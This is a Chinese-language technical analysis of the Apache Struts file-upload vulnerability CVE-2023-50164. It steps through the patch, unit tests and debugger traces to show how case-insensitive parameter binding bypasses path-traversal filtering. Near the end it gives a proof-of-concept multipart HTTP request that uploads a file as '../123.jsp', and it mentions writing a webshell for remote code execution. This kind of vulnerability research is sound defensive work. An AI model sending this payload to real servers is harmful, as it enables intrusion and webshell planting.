CVE-2023-50164 Apache Struts RCE 分析

admin 2024年1月3日17:17:27评论47 views字数 13844阅读46分8秒阅读模式

基本信息

由于 Struts 框架在处理参数名称大小写方面的不一致性,导致未经身份验证的远程攻击者能够通过修改参数名称的大小写来利用目录遍历技术上传恶意文件到服务器的非预期位置,最终导致代码执行。

影响版本


2.0.0<= Struts <= 2.3.372.5.0 <= Struts <= 2.5.326.0.0 <= Struts <= 6.3.0

环境搭建

使用vulhub起一个docker环境即可。

技术分析&调试

查看补丁可知,补丁修复前对于文件名超过maxStringLength时会将错误消息和context添加到errors之后直接返回,不会执行删除临时文件的逻辑,在修复代码中在finally语句中执行item.delete来删除临时文件。

        params.put(item.getFieldName(), values);        item.delete();

CVE-2023-50164 Apache Struts RCE 分析

在commit d8c69691ef1d15e76a5f4fcf33039316da2340b6中主要有如下几个修复逻辑:对于appendAll方法在添加参数之前先使用remove方法移除先前的参数。CVE-2023-50164 Apache Struts RCE 分析对于get方法,修改为对大小写不敏感CVE-2023-50164 Apache Struts RCE 分析

remove方法和contains方法有如下修改:原先的remove方法会区分大小写,而修复后,remove方法从entrySet中忽略大小写并删除对应的项。CVE-2023-50164 Apache Struts RCE 分析

可以看出这个commit主要是将键值对获取/移除的方法修改为大小写不敏感。

测试单元代码如下,添加了两个单元测试方法

  • shouldGetBeCaseInsensitive

  • shouldAppendSameParamsIgnoringCaseshouldGetBeCaseInsensitive测试HttpParameters.get方法是否是大小写不敏感。shouldAppendSameParamsIgnoringCase测试使用HttpParameters.appendAll向Map里面添加键值对时是否对key大小写不敏感。可知修复主要是使得HttpParameters类的一些方法从大小写敏感改为大小写不敏感。可以看出补丁主要是对HttpParameters进行修复。


public  class HttpParametersTest {
@Test public void shouldGetBeCaseInsensitive() { // given HttpParameters params = HttpParameters.create(new HashMap<String, Object>() {{ put("param1", "value1"); }}).build();
// then assertEquals("value1", params.get("Param1").getValue()); assertEquals("value1", params.get("paraM1").getValue()); assertEquals("value1", params.get("pAraM1").getValue()); }
@Test public void shouldAppendSameParamsIgnoringCase() { // given HttpParameters params = HttpParameters.create(new HashMap<String, Object>() {{ put("param1", "value1"); }}).build();
// when assertEquals("value1", params.get("param1").getValue());
params = params.appendAll(HttpParameters.create(new HashMap<String, String>() {{ put("Param1", "Value1"); }}).build());
// then assertTrue(params.contains("param1")); assertTrue(params.contains("Param1"));
assertEquals("Value1", params.get("param1").getValue()); assertEquals("Value1", params.get("Param1").getValue()); }
}

查看struts代码交叉引用,可知appendAll在如下Interceptor上有引用

CVE-2023-50164 Apache Struts RCE 分析

在struts的struts-default.xml里面定义了默认的interceptor,其中文件上传由FileUploadInterceptor拦截请求。

<interceptor name="fileUpload" class="org.apache.struts2.interceptor.FileUploadInterceptor"/>


动态调试


发送如下请求,并在org.apache.struts2.interceptor.FileUploadIntercepto#intercept断点:

POST /upload.action HTTP/1.1Host: 127.0.0.1Accept: */*Accept-Encoding: gzip, deflateContent-Length: 400Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNContent-Disposition: form-data; name="Upload"; filename="1.txt"Content-Type: text/plain
1aaa--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN


在调试器中可以看到inputName为表单中name参数对应的值,struts会尝试根据inputName获取content type和fileName。

CVE-2023-50164 Apache Struts RCE 分析

跟进multiWrapper.getFileNames分发中,在org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest#getFileNames中实现,代码如下

public String[] getFileNames(String fieldName) {        List<FileItem> items = (List)this.files.get(fieldName);        if (items == null) {            return null;        } else {            List<String> fileNames = new ArrayList(items.size());            Iterator var4 = items.iterator();
while(var4.hasNext()) { FileItem fileItem = (FileItem)var4.next(); fileNames.add(this.getCanonicalName(fileItem.getName())); }
return (String[])fileNames.toArray(new String[fileNames.size()]); } }


跟进getCanonicalName方法内,在getCanonicalName方法内获取了斜杠和反斜杠的位置,如果不为-1的话则会对文件名进行截断,取到最后一个斜杠后面的字符串作为文件名,防止目录穿越。

回到intercept方法中,在后面会拼接inputName组成contentTypeName和fileNameName作为Map的key,并将获取到的contentType和fileName作为value加入到HashMap中,而后通过appenAll方法将HashMap添加到HttpParameterCVE-2023-50164 Apache Struts RCE 分析

FileInterceptor获取到参数之后需要将参数通过Action的setter方法绑定到Action中的变量上。在定义的action中的set方法断点,重新调试,发送恶意请求,调试器中主要调用栈如下:


setUpload:27, UploadAction (org.chestnut.action)invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect)invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)invoke:567, Method (java.lang.reflect)invokeMethodInsideSandbox:1245, OgnlRuntime (ognl)invokeMethod:1230, OgnlRuntime (ognl)callAppropriateMethod:1958, OgnlRuntime (ognl)setMethodValue:2196, OgnlRuntime (ognl)setPossibleProperty:98, ObjectPropertyAccessor (ognl)setProperty:175, ObjectPropertyAccessor (ognl)setProperty:42, ObjectAccessor (com.opensymphony.xwork2.ognl.accessor)setProperty:3359, OgnlRuntime (ognl)setProperty:84, CompoundRootAccessor (com.opensymphony.xwork2.ognl.accessor)setProperty:3359, OgnlRuntime (ognl)setValueBody:134, ASTProperty (ognl)evaluateSetValueBody:220, SimpleNode (ognl)setValue:308, SimpleNode (ognl)setValue:829, Ognl (ognl)lambda$setValue$2:550, OgnlUtil (com.opensymphony.xwork2.ognl)execute:-1, 769172083 (com.opensymphony.xwork2.ognl.OgnlUtil$$Lambda$369)compileAndExecute:625, OgnlUtil (com.opensymphony.xwork2.ognl)setValue:543, OgnlUtil (com.opensymphony.xwork2.ognl)trySetValue:195, OgnlValueStack (com.opensymphony.xwork2.ognl)setValue:182, OgnlValueStack (com.opensymphony.xwork2.ognl)setParameter:166, OgnlValueStack (com.opensymphony.xwork2.ognl)setParameters:228, ParametersInterceptor (com.opensymphony.xwork2.interceptor)doIntercept:144, ParametersInterceptor (com.opensymphony.xwork2.interceptor)intercept:99, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)doIntercept:152, ParametersInterceptor (com.opensymphony.xwork2.interceptor)intercept:99, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)intercept:202, StaticParametersInterceptor (com.opensymphony.xwork2.interceptor)


com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters方法中尝试将parameters的每个键值对通过参数绑定调用Action的setter方法。

CVE-2023-50164 Apache Struts RCE 分析

获取setter方法的逻辑

参数绑定需要获取Action中的方法并调用,在Action中对应方法下断点,可以得到如下调用栈


setUpload:27, UploadAction (org.chestnut.action)invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect)invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)invoke:567, Method (java.lang.reflect)invokeMethodInsideSandbox:1245, OgnlRuntime (ognl)invokeMethod:1230, OgnlRuntime (ognl)callAppropriateMethod:1958, OgnlRuntime (ognl)setMethodValue:2196, OgnlRuntime (ognl)setPossibleProperty:98, ObjectPropertyAccessor (ognl)setProperty:175, ObjectPropertyAccessor (ognl)setProperty:42, ObjectAccessor (com.opensymphony.xwork2.ognl.accessor)setProperty:3359, OgnlRuntime (ognl)setProperty:84, CompoundRootAccessor (com.opensymphony.xwork2.ognl.accessor)setProperty:3359, OgnlRuntime (ognl)setValueBody:134, ASTProperty (ognl)evaluateSetValueBody:220, SimpleNode (ognl)setValue:308, SimpleNode (ognl)setValue:829, Ognl (ognl)lambda$setValue$2:550, OgnlUtil (com.opensymphony.xwork2.ognl)execute:-1, 2098738059 (com.opensymphony.xwork2.ognl.OgnlUtil$$Lambda$371)compileAndExecute:625, OgnlUtil (com.opensymphony.xwork2.ognl)setValue:543, OgnlUtil (com.opensymphony.xwork2.ognl)trySetValue:195, OgnlValueStack (com.opensymphony.xwork2.ognl)setValue:182, OgnlValueStack (com.opensymphony.xwork2.ognl)setParameter:166, OgnlValueStack (com.opensymphony.xwork2.ognl)setParameters:228, ParametersInterceptor (com.opensymphony.xwork2.interceptor)doIntercept:144, ParametersInterceptor (com.opensymphony.xwork2.interceptor)intercept:99, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)doIntercept:152, ParametersInterceptor (com.opensymphony.xwork2.interceptor)intercept:99, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)intercept:202, StaticParametersInterceptor (com.opensymphony.xwork2.interceptor)


setMethodValue:2178, OgnlRuntime (ognl)断点,重新发送请求,跟进getSetMethod方法查看获取setter方法的逻辑

CVE-2023-50164 Apache Struts RCE 分析

getSetMethod方法中会尝试从缓存取出Upload对应的方法,如果取出的method不为null则会返回,如果为null则会尝试调用_getSetMethod方法从目标class中通过反射拼接get从目标class中获取到方法。

    
public static Method getSetMethod(OgnlContext context, Class targetClass, String propertyName) throws IntrospectionException, OgnlException {        Method method = cacheSetMethod.get(targetClass, propertyName);        if (method == OgnlRuntime.ClassPropertyMethodCache.NULL_REPLACEMENT) {            return null;        } else if (method != null) {            return method;        } else {            method = _getSetMethod(context, targetClass, propertyName);            cacheSetMethod.put(targetClass, propertyName, method);            return method;        }    }
// 参数this.arg$3 = 'this' is not availablecontext = {OgnlContext@6991} size = 7targetClass = {Class@6029} "class org.chestnut.action.UploadAction"propertyName = "Upload"method = {Method@6987"public void org.chestnut.action.UploadAction.setUpload(java.io.File)"


_getSetMethod方法中会调用getDeclaredMethods方法获取目标class中定义的指定方法,目标方法通过propertyName指定,getDeclaredMethods会调用collectAccessors方法

    
private static Method _getSetMethod(OgnlContext context, Class targetClass, String propertyName) throws IntrospectionException, OgnlException {        Method result = null;        List methods = getDeclaredMethods(targetClass, propertyName, true);    public static List getDeclaredMethods(Class targetClass, String propertyName, boolean findSets) {        List result = null;        ClassCache cache = _declaredMethods[findSets ? 0 : 1];        Map propertyCache = (Map)cache.get(targetClass);        if (propertyCache == null || (result = (List)propertyCache.get(propertyName)) == null) {            synchronized(cache) {                Map propertyCache = (Map)cache.get(targetClass);                if (propertyCache == null || (result = (List)((Map)propertyCache).get(propertyName)) == null) {                    String baseName = capitalizeBeanPropertyName(propertyName);          List result = new ArrayList();          collectAccessors(targetClass, baseName, result, findSets);                .....
return result == NotFoundList ? null : result; }


collectAccessors方法中首先通过反射获取到目标class的所有方法,而后遍历所有方法,并传入addIfAccessor方法中。addIfAccessor会首先判断传入的方法名是否以目标名字结尾,通过判断后会通过拼接get/set/is来判断是否是目标方法,由于传入的findSets是true,所以会找到setMethodName方法最终得到setUpload方法

CVE-2023-50164 Apache Struts RCE 分析

private static void collectAccessors(Class c, String baseName, List result, boolean findSets) {    Method[] methods;    try {        methods = c.getDeclaredMethods();    } catch (SecurityException var10) {        methods = c.getMethods();    }
for(int i = 0; i < methods.length; ++i) { if (c.isInterface()) { if (isDefaultMethod(methods[i]) || isNonDefaultPublicInterfaceMethod(methods[i])) { addIfAccessor(result, methods[i], baseName, findSets); } } else if (isMethodCallable(methods[i])) { addIfAccessor(result, methods[i], baseName, findSets); } }
Class superclass = c.getSuperclass(); if (superclass != null) { collectAccessors(superclass, baseName, result, findSets); }
Class[] var6 = c.getInterfaces(); int var7 = var6.length;
for(int var8 = 0; var8 < var7; ++var8) { Class iface = var6[var8]; collectAccessors(iface, baseName, result, findSets); }
} private static void addIfAccessor(List result, Method method, String baseName, boolean findSets) { String ms = method.getName(); if (ms.endsWith(baseName)) { boolean isSet = false; boolean isIs = false; if ((isSet = ms.startsWith("set")) || ms.startsWith("get") || (isIs = ms.startsWith("is"))) { int prefixLength = isIs ? 2 : 3; if (isSet == findSets && baseName.length() == ms.length() - prefixLength) { result.add(method); } } }
}


getSetMethod获取到方法后,会通过cacheSetMethod.put(targetClass, propertyName, method);保存到缓存内。而后再次调用时,可以获取到setUpload方法最终通过invokeMethod方法调用。而对于恶意参数uploadFileName,由于缓存中没有uploadFileName,所以会尝试通过_getSetMethod获取对应的set方法。CVE-2023-50164 Apache Struts RCE 分析

这里碰到了一个坑,众所周知Action中方法名为setUploadFileName对应于endwith UploadFileName,而uploadFileName 显然不满足条件,按道理在addIfAccessor方法中应该获取不到对应的set方法才是,反常的是其反而获取到了,在重新调试,才发现在getDeclaredMethods调用collectAccessors方法之前,传入的baseName参数已经变成了UploadFileName,满足前面的条件,获取到了get方法。很明显,baseNamecapitalizeBeanPropertyName方法返回得到

CVE-2023-50164 Apache Struts RCE 分析

查看capitalizeBeanPropertyName方法,传入的propertyNameuploadFileName

    
private static String capitalizeBeanPropertyName(String propertyName) {        if (propertyName.length() == 1) {            return propertyName.toUpperCase();        } else if (propertyName.startsWith("get") && propertyName.endsWith("()") && Character.isUpperCase(propertyName.substring(3, 4).charAt(0))) {            return propertyName;        } else if (propertyName.startsWith("set") && propertyName.endsWith(")") && Character.isUpperCase(propertyName.substring(3, 4).charAt(0))) {            return propertyName;        } else if (propertyName.startsWith("is") && propertyName.endsWith("()") && Character.isUpperCase(propertyName.substring(2, 3).charAt(0))) {            return propertyName;        } else {            char first = propertyName.charAt(0);            char second = propertyName.charAt(1);            if (Character.isLowerCase(first) && Character.isUpperCase(second)) {                return propertyName;            } else {                char[] chars = propertyName.toCharArray();                chars[0] = Character.toUpperCase(chars[0]);                return new String(chars);            }        }    }


忽略前面的if,在最后一个else中,如果第一个字符是小写,第二个字符是大写则会直接返回,否则会将第一个字符变为大写,所以uploadFileName在经过处理后会变为UploadFileName,所以在后面可以通过addIfAccessor里面的判断,获取到setUploadFileName方法。

也就是说会调用两次setUploadFileName方法,而Map中大写的key排在小写的key前面,所以首先会获取到经过目录穿越过滤器过滤的的正确的UploadFileName并通过setUploadFileName方法设置到action中的UploadFileName属性中

CVE-2023-50164 Apache Struts RCE 分析

而后会设置uploadFileName的参数,而该参数不会经过目录穿越过滤器,也就是这个属性可以通过../进行目录穿越,而后再次调用 setUploadFileName方法action中的UploadFileName属性中,完成了变量覆盖。

PoC

POST /upload.action HTTP/1.1Host: 127.0.0.1Accept: */*Accept-Encoding: gzip, deflateContent-Length: 400Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNContent-Disposition: form-data; name="Upload"; filename="1.txt"Content-Type: text/plain
1aaa--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNContent-Disposition: form-data; name="uploadFileName";Content-Type: text/plain
../123.jsp--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--


小结

这个漏洞巧妙地利用了struts中对属性的规范化和Map存储顺序,利用参数绑定巧妙地绕过了目录穿越的过滤,成功进行变量覆盖,从而进行目录穿越,可以利用目录穿越在敏感目录写入webshell,达成远程代码执行。

而在补丁中在使用appendAll之前会调用remove方法,remove方法会忽略大小写,如果存在相同的参数则移除之前,所以当使用小写方式尝试利用时,在appendAll方法内会先移除存在的uploadFileName项,从而避免了后续的变量覆盖。

CVE-2023-50164 Apache Struts RCE 分析

参考链接

https://trganda.github.io/notes/security/vulnerabilities/apache-struts/Apache-Struts-Remote-Code-Execution-Vulnerability-(-S2-066-CVE-2023-50164)

https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/

原文始发于微信公众号(闲聊趣说):CVE-2023-50164 Apache Struts RCE 分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月3日17:17:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-50164 Apache Struts RCE 分析http://cn-sec.com/archives/2359968.html

发表评论

匿名网友 填写信息